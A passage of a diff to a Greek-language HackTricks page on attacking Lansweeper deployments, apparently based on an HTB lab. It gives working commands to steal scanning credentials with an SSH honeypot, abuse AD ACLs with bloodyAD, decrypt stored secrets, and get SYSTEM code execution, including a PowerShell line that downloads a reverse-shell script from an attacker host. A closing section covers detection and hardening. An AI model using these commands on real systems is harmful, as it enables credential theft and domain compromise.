Επιπλέον, μπορούν να ληφθούν υπόψη και άλλες μέθοδοι για εκτέλεση κώδικα ή διατήρηση επίμονης πρόσβασης, όπως η αξιοποίηση logon/logoff scripts, η τροποποίηση registry keys για autoruns, η εγκατάσταση λογισμικού μέσω .msi αρχείων ή η επεξεργασία των ρυθμίσεων services. Αυτές οι τεχνικές παρέχουν διάφορες οδούς για τη διατήρηση πρόσβασης και τον έλεγχο των στοχευμένων συστημάτων μέσω της κακής χρήσης των GPO.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper είναι μια πλατφόρμα ανίχνευσης και καταγραφής πόρων IT που συνήθως αναπτύσσεται σε Windows και ενσωματώνεται με το Active Directory. Οι credentials που έχουν ρυθμιστεί στο Lansweeper χρησιμοποιούνται από τους scanning engines του για να αυθεντικοποιηθούν σε πόρους μέσω πρωτοκόλλων όπως SSH, SMB/WMI και WinRM. Οι λανθασμένες ρυθμίσεις συχνά επιτρέπουν:
|
||||
Lansweeper είναι μια πλατφόρμα ανακάλυψης και inventory IT που συνήθως αναπτύσσεται σε Windows και ενσωματώνεται με Active Directory. Οι credentials που έχουν ρυθμιστεί στο Lansweeper χρησιμοποιούνται από τις scanning engines για authentication σε assets μέσω πρωτοκόλλων όπως SSH, SMB/WMI και WinRM. Λανθασμένες ρυθμίσεις συχνά επιτρέπουν:
|
||||
|
||||
- Υποκλοπή credentials με την ανακατεύθυνση ενός scanning target σε έναν host ελεγχόμενο από επιτιθέμενο (honeypot)
|
||||
- Κατάχρηση των AD ACLs που εκτίθενται από ομάδες σχετιζόμενες με Lansweeper για απόκτηση απομακρυσμένης πρόσβασης
|
||||
- Αποκρυπτογράφηση επί του host των Lansweeper-configured secrets (connection strings και stored scanning credentials)
|
||||
- Εκτέλεση κώδικα σε διαχειριζόμενα endpoints μέσω του Deployment feature (συχνά εκτελούμενου ως SYSTEM)
|
||||
- Κατάσχεση credentials με επαναπροσανατολισμό ενός scanning target σε attacker-controlled host (honeypot)
|
||||
- Κατάχρηση των AD ACLs που εκτίθενται από Lansweeper-related groups για να αποκτηθεί remote access
|
||||
- Αποκρυπτογράφηση στο host των secrets που έχουν ρυθμιστεί στο Lansweeper (connection strings και αποθηκευμένα scanning credentials)
|
||||
- Εκτέλεση κώδικα σε managed endpoints μέσω του Deployment feature (συχνά εκτελείται ως SYSTEM)
|
||||
|
||||
Αυτή η σελίδα συνοψίζει πρακτικές ροές εργασίας επιτιθέμενων και εντολές για την κατάχρηση αυτών των συμπεριφορών κατά τη διάρκεια engagements.
|
||||
Αυτή η σελίδα συνοψίζει πρακτικά workflows και εντολές που μπορεί να χρησιμοποιήσει ένας attacker για να εκμεταλλευτεί αυτές τις συμπεριφορές κατά τη διάρκεια engagements.
|
||||
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
|
||||
Ιδέα: δημιουργήστε ένα Scanning Target που δείχνει στο host σας και αντιστοιχίστε υπάρχουσες Scanning Credentials σε αυτό. Όταν τρέξει το scan, το Lansweeper θα προσπαθήσει να αυθεντικοποιηθεί με αυτά τα credentials, και το honeypot σας θα τα καταγράψει.
|
||||
Ιδέα: δημιουργήστε ένα Scanning Target που δείχνει στο host σας και αντιστοιχίστε υπάρχοντα Scanning Credentials σε αυτό. Όταν τρέξει το scan, το Lansweeper θα προσπαθήσει να authenticate με αυτά τα credentials και το honeypot σας θα τα καταγράψει.
|
||||
|
||||
Steps overview (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
@ -39,20 +39,20 @@ sshesame --config sshesame.conf
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
Επαλήθευση των captured creds έναντι των υπηρεσιών DC:
|
||||
Επαλήθευση των καταγεγραμμένων creds έναντι των υπηρεσιών DC:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Notes
|
||||
- Λειτουργεί παρόμοια και για άλλα πρωτόκολλα όταν μπορείτε να εξαναγκάσετε τον scanner στο listener σας (SMB/WinRM honeypots, κ.λπ.). Το SSH είναι συχνά το πιο απλό.
|
||||
- Πολλοί scanners αυτοπροσδιορίζονται με διακριτά client banners (π.χ. RebexSSH) και θα επιχειρήσουν benign commands (uname, whoami, κ.λπ.).
|
||||
Σημειώσεις
|
||||
- Λειτουργεί ανάλογα και για άλλα πρωτόκολλα όταν μπορείτε να εξαναγκάσετε τον scanner στον listener σας (SMB/WinRM honeypots, κ.λπ.). Το SSH είναι συχνά το πιο απλό.
|
||||
- Πολλοί scanners αναγνωρίζουν τον εαυτό τους με ξεχωριστά client banners (π.χ. RebexSSH) και θα επιχειρήσουν αβλαβείς εντολές (uname, whoami, κ.λπ.).
|
||||
|
||||
## 2) AD ACL abuse: αποκτήστε απομακρυσμένη πρόσβαση προσθέτοντας τον εαυτό σας σε μια app-admin ομάδα
|
||||
## 2) AD ACL abuse: gain remote access by adding yourself to an app-admin group
|
||||
|
||||
Χρησιμοποιήστε BloodHound για να απαριθμήσετε τα effective rights από τον συμβιβασμένο λογαριασμό. Ένα συνηθισμένο εύρημα είναι μια ομάδα ειδική για scanner ή εφαρμογή (π.χ. “Lansweeper Discovery”) που κατέχει GenericAll πάνω σε μια προνομιούχα ομάδα (π.χ. “Lansweeper Admins”). Εάν η προνομιούχα ομάδα είναι επίσης μέλος των “Remote Management Users”, το WinRM γίνεται διαθέσιμο μόλις προσθέσουμε τον εαυτό μας.
|
||||
Χρησιμοποιήστε BloodHound για να εντοπίσετε τα effective rights από τον συμβιβασμένο λογαριασμό. Ένα συνηθισμένο εύρημα είναι μια scanner- ή app-specific group (π.χ. “Lansweeper Discovery”) που κατέχει GenericAll επάνω σε μια ομάδα με προνόμια (π.χ. “Lansweeper Admins”). Αν η ομάδα με προνόμια είναι επίσης μέλος των “Remote Management Users”, το WinRM γίνεται διαθέσιμο μόλις προσθέσουμε τον εαυτό μας.
|
||||
|
||||
Collection examples:
|
||||
```bash
|
||||
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
Exploit GenericAll σε ομάδα με BloodyAD (Linux):
|
||||
Εκμετάλλευση του GenericAll σε group με BloodyAD (Linux):
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
@ -75,20 +75,20 @@ netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Συμβουλή: Οι λειτουργίες Kerberos είναι ευαίσθητες στο χρόνο. Αν αντιμετωπίσετε το KRB_AP_ERR_SKEW, συγχρονιστείτε πρώτα με τον DC:
|
||||
Συμβουλή: Οι λειτουργίες Kerberos είναι ευαίσθητες στον χρόνο. Αν αντιμετωπίσετε KRB_AP_ERR_SKEW, συγχρονιστείτε με τον DC πρώτα:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) Αποκρυπτογραφήστε μυστικά που ρυθμίστηκαν από Lansweeper στον host
|
||||
## 3) Αποκρυπτογραφήστε τα Lansweeper-configured secrets στον host
|
||||
|
||||
Στον server του Lansweeper, η ASP.NET site συνήθως αποθηκεύει μια κρυπτογραφημένη connection string και ένα συμμετρικό κλειδί που χρησιμοποιείται από την εφαρμογή. Με κατάλληλη τοπική πρόσβαση, μπορείτε να αποκρυπτογραφήσετε το DB connection string και στη συνέχεια να εξάγετε τα αποθηκευμένα διαπιστευτήρια σάρωσης.
|
||||
Στον Lansweeper server, ο ιστότοπος ASP.NET συνήθως αποθηκεύει ένα κρυπτογραφημένο connection string και ένα συμμετρικό κλειδί που χρησιμοποιείται από την εφαρμογή. Με κατάλληλη τοπική πρόσβαση, μπορείτε να αποκρυπτογραφήσετε το DB connection string και στη συνέχεια να εξάγετε τα αποθηκευμένα scanning credentials.
|
||||
|
||||
Τυπικές τοποθεσίες:
|
||||
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- Κλειδί εφαρμογής: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
Χρησιμοποιήστε το SharpLansweeperDecrypt για να αυτοματοποιήσετε την αποκρυπτογράφηση και την εξαγωγή των αποθηκευμένων διαπιστευτηρίων:
|
||||
Χρησιμοποιήστε SharpLansweeperDecrypt για να αυτοματοποιήσετε την αποκρυπτογράφηση και την εξαγωγή των αποθηκευμένων creds:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
@ -99,22 +99,22 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
Το αναμενόμενο αποτέλεσμα περιλαμβάνει λεπτομέρειες σύνδεσης στη βάση δεδομένων και διαπιστευτήρια σάρωσης σε απλό κείμενο, όπως λογαριασμοί Windows και Linux που χρησιμοποιούνται σε ολόκληρη την υποδομή. Αυτά συχνά έχουν αυξημένα τοπικά δικαιώματα σε domain hosts:
|
||||
Το αναμενόμενο αποτέλεσμα περιλαμβάνει DB connection details και plaintext scanning credentials όπως Windows και Linux accounts που χρησιμοποιούνται σε ολόκληρο το estate. Αυτά συχνά έχουν αυξημένα τοπικά δικαιώματα σε domain hosts:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
Χρησιμοποιήστε τα ανακτημένα Windows scanning creds για προνομιακή πρόσβαση:
|
||||
Χρησιμοποιήστε ανακτημένα Windows scanning creds για προνομιούχα πρόσβαση:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
```
|
||||
## 4) Lansweeper Deployment → SYSTEM RCE
|
||||
|
||||
Ως μέλος των “Lansweeper Admins”, το web UI εμφανίζει τις επιλογές Deployment και Configuration. Στην καρτέλα Deployment → Deployment packages, μπορείτε να δημιουργήσετε packages που εκτελούν αυθαίρετες εντολές σε στοχευμένα assets. Η εκτέλεση γίνεται από την υπηρεσία Lansweeper με υψηλά προνόμια, παρέχοντας εκτέλεση κώδικα ως NT AUTHORITY\SYSTEM στον επιλεγμένο host.
|
||||
Ως μέλος των “Lansweeper Admins”, το web UI εμφανίζει τα Deployment και Configuration. Στο Deployment → Deployment packages, μπορείτε να δημιουργήσετε πακέτα που εκτελούν αυθαίρετες εντολές σε στοχευμένα assets. Η εκτέλεση πραγματοποιείται από την υπηρεσία Lansweeper με υψηλά δικαιώματα, παρέχοντας εκτέλεση κώδικα ως NT AUTHORITY\SYSTEM στον επιλεγμένο host.
|
||||
|
||||
High-level steps:
|
||||
- Δημιουργήστε ένα νέο Deployment package που εκτελεί ένα PowerShell ή cmd εντολή μιας γραμμής (reverse shell, add-user, κ.λπ.).
|
||||
- Δημιουργήστε ένα νέο Deployment package που εκτελεί ένα PowerShell ή cmd one-liner (reverse shell, add-user, κ.λπ.).
|
||||
- Στοχεύστε το επιθυμητό asset (π.χ. τον DC/host όπου τρέχει το Lansweeper) και κάντε κλικ στο Deploy/Run now.
|
||||
- Πιάστε το shell σας ως SYSTEM.
|
||||
|
||||
@ -127,23 +127,23 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
|
||||
- Οι ενέργειες Deployment είναι θορυβώδεις και αφήνουν logs στο Lansweeper και στα Windows event logs. Χρησιμοποιήστε με φειδώ.
|
||||
- Οι ενέργειες ανάπτυξης είναι θορυβώδεις και αφήνουν καταγραφές στο Lansweeper και στα Windows event logs. Χρησιμοποιήστε με φειδώ.
|
||||
|
||||
## Ανίχνευση και ενίσχυση ασφάλειας
|
||||
## Ανίχνευση και σκληροποίηση
|
||||
|
||||
- Περιορίστε ή καταργήστε την ανώνυμη απαρίθμηση SMB. Παρακολουθήστε για RID cycling και ασυνήθιστη πρόσβαση σε κοινόχρηστους πόρους του Lansweeper.
|
||||
- Έλεγχος εξερχόμενης κυκλοφορίας: μπλοκάρετε ή περιορίστε αυστηρά την εξερχόμενη κίνηση SSH/SMB/WinRM από hosts σαρωτών. Ειδοποιήστε για μη τυπικές θύρες (π.χ., 2022) και ασυνήθιστα client banners όπως το Rebex.
|
||||
- Προστατέψτε `Website\\web.config` και `Key\\Encryption.txt`. Εξωτερικοποιήστε τα secrets σε vault και κάνετε rotation σε περίπτωση έκθεσης. Εξετάστε service accounts με ελάχιστα προνόμια και gMSA όπου είναι εφικτό.
|
||||
- Παρακολούθηση AD: ειδοποιήστε για αλλαγές σε ομάδες σχετικές με Lansweeper (π.χ., “Lansweeper Admins”, “Remote Management Users”) και για αλλαγές ACL που παραχωρούν GenericAll/Write δικαιώματα μέλους σε προνομιακές ομάδες.
|
||||
- Επιθεωρήστε τη δημιουργία/αλλαγές/εκτέλεση Deployment packages· ειδοποιήστε αν πακέτα εκκινούν cmd.exe/powershell.exe ή δημιουργούν απροσδόκητες εξερχόμενες συνδέσεις.
|
||||
- Περιορίστε ή αφαιρέστε τις ανώνυμες SMB enumerations. Παρακολουθήστε για RID cycling και ασυνήθιστες προσβάσεις σε Lansweeper shares.
|
||||
- Έλεγχοι εξόδου: μπλοκάρετε ή περιορίστε αυστηρά την εξερχόμενη κίνηση SSH/SMB/WinRM από scanner hosts. Δημιουργήστε ειδοποίηση για μη-τυπικές θύρες (π.χ., 2022) και ασυνήθιστα client banners όπως Rebex.
|
||||
- Προστατέψτε `Website\\web.config` και `Key\\Encryption.txt`. Εξωτερικοποιήστε τα secrets σε vault και ανανεώστε (rotate) σε περίπτωση έκθεσης. Εξετάστε service accounts με ελάχιστα προνόμια και gMSA όπου είναι εφαρμόσιμο.
|
||||
- Παρακολούθηση AD: ειδοποιήστε για αλλαγές σε Lansweeper-related groups (π.χ., “Lansweeper Admins”, “Remote Management Users”) και για αλλαγές ACL που παρέχουν GenericAll/Write σε προνομιούχες ομάδες.
|
||||
- Καταγράψτε/επιτηρήστε τις δημιουργίες/αλλαγές/εκτελέσεις Deployment package· ειδοποιήστε για πακέτα που spawnάρουν cmd.exe/powershell.exe ή για μη αναμενόμενες εξερχόμενες συνδέσεις.
|
||||
|
||||
## Σχετικά θέματα
|
||||
- SMB/LSA/SAMR απαρίθμηση και RID cycling
|
||||
- Kerberos password spraying και ζητήματα clock skew
|
||||
- BloodHound ανάλυση διαδρομών για application-admin groups
|
||||
- WinRM χρήση και lateral movement
|
||||
- SMB/LSA/SAMR enumeration and RID cycling
|
||||
- Kerberos password spraying and clock skew considerations
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM usage and lateral movement
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
|
||||
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
|
||||
|
Loading…
x
Reference in New Issue
Block a user